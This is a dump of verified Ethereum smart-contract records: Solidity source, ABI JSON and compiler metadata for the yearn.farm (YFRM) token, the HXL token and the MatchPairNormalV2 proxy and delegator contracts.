function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xad57bd357ab983d4bbdcb74dbde0bc312943626570fbbda0682c1d9c47eeeada;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract yearnfarm is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("yearn.farm", "YFRM", 18) {
governance = msg.sender;
}
function mint(address account, uint amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":false,"inputs":[{"internalType":"address","name":"_minter","type":"address"}],"name":"addMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"governance","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"minters","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_minter","type":"address"}],"name":"removeMinter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_governance","type":"address"}],"name":"setGovernance","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.16+commit.9c3226ce | false | 200 | Default | None | false | bzzr://04f9106514184baf1d6c794b09001b7daca07e96ea986b3a0e35eac5cbc360b7 |
|||
HXL | HXL.sol | 0x50dfe30f5b5b3f0659cbd0da8106ec447be621f8 | Solidity | pragma solidity ^0.4.11;
contract HXL {
uint256 public totalSupply;
string public name;
uint256 public decimals;
string public symbol;
address public owner;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function HXL(uint256 _totalSupply, string _symbol, string _name, uint8 _decimalUnits) public {
decimals = _decimalUnits;
symbol = _symbol;
name = _name;
owner = msg.sender;
totalSupply = _totalSupply * (10 ** decimals);
balances[msg.sender] = totalSupply;
}
//Fix for short address attack against ERC20
modifier onlyPayloadSize(uint size) {
assert(msg.data.length == size + 4);
_;
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function transfer(address _recipient, uint256 _value) onlyPayloadSize(2*32) public {
require(balances[msg.sender] >= _value && _value > 0);
balances[msg.sender] -= _value;
balances[_recipient] += _value;
Transfer(msg.sender, _recipient, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public {
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function mint(uint256 amount) public {
assert(amount >= 0);
require(msg.sender == owner);
balances[msg.sender] += amount;
totalSupply += amount;
}
//Event which is triggered to log all transfers to this contract's event log
event Transfer(
address indexed _from,
address indexed _to,
uint256 _value
);
//Event which is triggered whenever an owner approves a new allowance for a spender.
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
);
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"mint","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"_recipient","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"inputs":[{"name":"_totalSupply","type":"uint256"},{"name":"_symbol","type":"string"},{"name":"_name","type":"string"},{"name":"_decimalUnits","type":"uint8"}],"payable":false,"type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_owner","type":"address"},{"indexed":true,"name":"_spender","type":"address"},{"indexed":false,"name":"_value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.11+commit.68ef5810 | false | 200 | 0000000000000000000000000000000000000000000000000000000001406f40000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000012000000000000000000000000000000000000000000000000000000000000000348584c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000348584c0000000000000000000000000000000000000000000000000000000000 | Default | None | false | bzzr://6a6627609ac36428088366b453d5c611ad46017ec10070cc6f995ed56254956a |
||
MatchPairNormalV2 | /Users/dingyp/vsCode/sister-in-law/contracts/DelegateCaller.sol | 0x03514bb74a3aa08ab64f2cb875a3885c8ab41a7a | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
abstract contract DelegateCaller {
function implementation() public view virtual returns (address);
function delegateToImplementation(bytes memory data) public returns (bytes memory) {
address impl = implementation();
require(impl != address(0), "NO implemention");
return delegateTo(impl, data);
}
function delegateTo(address callee, bytes memory data) internal returns (bytes memory) {
(bool success, bytes memory returnData) = callee.delegatecall(data);
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize())
}
}
return returnData;
}
/**
* @notice Delegates execution to an implementation contract
* @dev It returns to the external caller whatever the implementation returns or forwards reverts
* There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop.
* @param data The raw data to delegatecall
* @return The returned bytes from the delegatecall
*/
function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) {
(bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data));
assembly {
if eq(success, 0) {
revert(add(returnData, 0x20), returndatasize())
}
}
return abi.decode(returnData, (bytes));
}
} | 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IStakeGatling","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"}],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"},{"internalType":"address","name":"_user","type":"address"}],"name":"tokenAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokenPoint0","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokenPoint1","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newMaster","type":"address"}],"name":"transferMastership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"},{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"untakeToken","outputs":[{"internalType":"uint256","name":"_tokenAmount","type":"uint256"},{"internalType":"uint256","name":"_leftAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_side","type":"uint256"},{"internalType":"address","name":"_account","type":"address"}],"name":"userPoint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}] | v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca0 | Default | false | ||||
MatchPairNormalV2 | /Users/dingyp/vsCode/sister-in-law/contracts/MatchPairDelegator.sol | 0x03514bb74a3aa08ab64f2cb875a3885c8ab41a7a | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./uniswapv2/interfaces/IUniswapV2Pair.sol";
import './uniswapv2/libraries/UniswapV2Library.sol';
import './uniswapv2/libraries/TransferHelper.sol';
import "./utils/MasterCaller.sol";
import "./interfaces/IStakeGatling.sol";
import "./interfaces/IMatchPair.sol";
import "./interfaces/IPriceSafeChecker.sol";
import "./interfaces/IProxyRegistry.sol";
import "./DelegateCaller.sol";
abstract contract MatchPairDelegator is DelegateCaller, IMatchPair, Ownable, MasterCaller{
using SafeERC20 for IERC20;
using SafeMath for uint256;
function stake(uint256 _index, address _user,uint256 _amount) public override onlyMasterCaller() {
delegateToImplementation(
abi.encodeWithSignature("stake(uint256,address,uint256)",
_index,
_user,
_amount
)
);
}
function untakeToken(uint256 _index, address _user,uint256 _amount)
public
override
onlyMasterCaller()
returns (uint256 _tokenAmount, uint256 _leftAmount)
{
bytes memory data = delegateToImplementation(
abi.encodeWithSignature("untakeToken(uint256,address,uint256)",
_index, _user, _amount
));
return abi.decode(data, (uint256, uint256));
}
function queueTokenAmount(uint256 _index) public view override returns (uint256) {
bytes memory data = delegateToViewImplementation(
abi.encodeWithSignature("queueTokenAmount(uint256)",
_index
));
return abi.decode(data, (uint256));
}
function lPAmount(uint256 _index, address _user) public view returns (uint256) {
bytes memory data = delegateToViewImplementation(
abi.encodeWithSignature("lPAmount(uint256,address)",
_index, _user
));
return abi.decode(data, (uint256));
}
function tokenAmount(uint256 _index, address _user) public view returns (uint256) {
bytes memory data = delegateToViewImplementation(
abi.encodeWithSignature("tokenAmount(uint256,address)",
_index, _user
));
return abi.decode(data, (uint256));
}
function lp2TokenAmount(uint256 _liquidity) public view returns (uint256, uint256) {
bytes memory data = delegateToViewImplementation(
abi.encodeWithSignature("lp2TokenAmount(uint256)",
_liquidity
));
return abi.decode(data, (uint256, uint256));
}
function maxAcceptAmount(uint256 _index, uint256 _molecular, uint256 _denominator, uint256 _inputAmount) public view override returns (uint256) {
bytes memory data = delegateToViewImplementation(
abi.encodeWithSignature("maxAcceptAmount(uint256,uint256,uint256,uint256)",
_index,
_molecular,
_denominator,
_inputAmount)
);
return abi.decode(data, (uint256));
}
function userPoint(uint256 _side, address _account) external view returns(uint256 ) {
bytes memory data = delegateToViewImplementation(
abi.encodeWithSignature("userPoint(uint256,address)",
_side,
_account
));
return abi.decode(data, (uint256));
}
} | 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| v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca0 | Default | false | ||||
MatchPairNormalV2 | /Users/dingyp/vsCode/sister-in-law/contracts/MatchPairNormalV2.sol | 0x03514bb74a3aa08ab64f2cb875a3885c8ab41a7a | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./MatchPairStorageV2.sol";
import "./MatchPairDelegator.sol";
contract MatchPairNormalV2 is MatchPairStorageV2, MatchPairDelegator {
constructor(address _lpToken) public {
lpToken = IUniswapV2Pair(_lpToken);
}
/** From Library */
function token(uint256 _index) public view override returns (address) {
return _index == 0 ? lpToken.token0() : lpToken.token1();
}
function setPriceSafeChecker(address _priceChecker) public onlyOwner() {
priceChecker = IPriceSafeChecker(_priceChecker);
}
function setStakeGatling(address _gatlinAddress) public onlyOwner() {
stakeGatling = IStakeGatling(_gatlinAddress);
}
function setMintLimit(uint256 _minMintToken0, uint256 _minMintToken1) public onlyOwner() {
minMintToken0 = _minMintToken0;
minMintToken1 = _minMintToken1;
}
function implementation() public view override returns (address) {
return IProxyRegistry(masterCaller()).getProxy(PROXY_INDEX);
}
} | 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| v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca0 | Default | false | ||||
MatchPairNormalV2 | /Users/dingyp/vsCode/sister-in-law/contracts/interfaces/IPriceSafeChecker.sol | 0x03514bb74a3aa08ab64f2cb875a3885c8ab41a7a | Solidity | pragma solidity 0.6.12;
interface IPriceSafeChecker {
//checking price ( _reserve0/_reserve1 ) to making sure in a safe range
function checkPrice(uint256 _reserve0, uint256 _reserve1) external view ;
event SettingPriceRang(uint256 _minPriceNumerator, uint256 _minPriceDenominator, uint256 _maxPriceNumerator, uint256 _maxPriceDenominator);
} | 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| v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca0 | Default | false | ||||
MatchPairNormalV2 | /Users/dingyp/vsCode/sister-in-law/contracts/interfaces/IProxyRegistry.sol | 0x03514bb74a3aa08ab64f2cb875a3885c8ab41a7a | Solidity | pragma solidity 0.6.12;
interface IProxyRegistry {
function getProxy(uint256 _index) external view returns(address);
} | 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| v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca0 | Default | false | ||||
MatchPairNormalV2 | /Users/dingyp/vsCode/sister-in-law/contracts/interfaces/IStakeGatling.sol | 0x03514bb74a3aa08ab64f2cb875a3885c8ab41a7a | Solidity | pragma solidity 0.6.12;
interface IStakeGatling {
function stake(uint256 _amount) external;
function withdraw(uint256 _amount) external;
function presentRate() external view returns (uint256);
function totalLPAmount() external view returns (uint256);
function totalToken() external view returns (uint256 amount0, uint256 amount1);
function burn(address _to, uint256 _amount) external returns (uint256 amount0, uint256 amount1);
function lpStakeDst() external view returns (address);
} | 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| v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca0 | Default | false | ||||
MatchPairNormalV2 | /Users/dingyp/vsCode/sister-in-law/contracts/uniswapv2/interfaces/IUniswapV2Factory.sol | 0x03514bb74a3aa08ab64f2cb875a3885c8ab41a7a | Solidity | pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
} | 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IUniswapV2Pair","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"masterCaller","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"},{"internalType":"uint256","name":"_molecular","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"},{"internalType":"uint256","name":"_inputAmount","type":"uint256"}],"name":"maxAcceptAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minMintToken0","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minMintToken1","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pendingToken0","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pendingToken1","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"priceChecker","outputs":[{"internalType":"contract IPriceSafeChecker","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"}],"name":"queueTokenAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sentinelAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minMintToken0","type":"uint256"},{"internalType":"uint256","name":"_minMintToken1","type":"uint256"}],"name":"setMintLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_priceChecker","type":"address"}],"name":"setPriceSafeChecker","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_gatlinAddress","type":"address"}],"name":"setStakeGatling","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"},{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"stake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stakeGatling","outputs":[{"internalType":"contract IStakeGatling","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"}],"name":"token","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"},{"internalType":"address","name":"_user","type":"address"}],"name":"tokenAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokenPoint0","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokenPoint1","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newMaster","type":"address"}],"name":"transferMastership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"},{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"untakeToken","outputs":[{"internalType":"uint256","name":"_tokenAmount","type":"uint256"},{"internalType":"uint256","name":"_leftAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_side","type":"uint256"},{"internalType":"address","name":"_account","type":"address"}],"name":"userPoint","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}] | v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000397ff1542f962076d0bfe58ea045ffa2d347aca0 | Default | false | ||||
MatchPairNormalV2 | /Users/dingyp/vsCode/sister-in-law/contracts/utils/MasterCaller.sol | 0x03514bb74a3aa08ab64f2cb875a3885c8ab41a7a | Solidity | // SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
contract MasterCaller {
address private _master;
event MastershipTransferred(address indexed previousMaster, address indexed newMaster);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_master = msg.sender;
emit MastershipTransferred(address(0), _master);
}
/**
* @dev Returns the address of the current MasterCaller.
*/
function masterCaller() public view returns (address) {
return _master;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyMasterCaller() {
require(_master == msg.sender, "Master: caller is not the master");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferMastership(address newMaster) public virtual onlyMasterCaller {
require(newMaster != address(0), "Master: new owner is the zero address");
emit MastershipTransferred(_master, newMaster);
_master = newMaster;
}
} | [{"inputs":[{"internalType":"address","name":"_lpToken","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousMaster","type":"address"},{"indexed":true,"internalType":"address","name":"newMaster","type":"address"}],"name":"MastershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_index0","type":"bool"},{"indexed":false,"internalType":"address","name":"_user","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"Stake","type":"event"},{"inputs":[],"name":"PROXY_INDEX","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes","name":"data","type":"bytes"}],"name":"delegateToImplementation","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"data","type":"bytes"}],"name":"delegateToViewImplementation","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"implementation","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"},{"internalType":"address","name":"_user","type":"address"}],"name":"lPAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"}],"name":"lp2TokenAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpToken","outputs":[{"internalType":"contract IUniswapV2Pair","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"masterCaller","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"},{"internalType":"uint256","name":"_molecular","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"},{"internalType":"uint256","name":"_inputAmount","type":"uint256"}],"name":"maxAcceptAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minMintToken0","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minMintToken1","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pendingToken0","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pendingToken1","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"priceChecker","outputs":[{"internalType":"contract IPriceSafeChecker","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"}],"name":"queueTokenAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sentinelAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minMintToken0","type":"uint256"},{"internalType":"uint256","name":"_minMintToken1","type":"uint256"}],"name":"setMintLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_priceChecker","type":"address"}],"name":"setPriceSafeChecker","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_gatlinAddress","type":"address"}],"name":"setStakeGatling","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"},{"internalType":"address","name":"_user","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"stake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"stakeGatling","outputs":[{"internalType":"contract 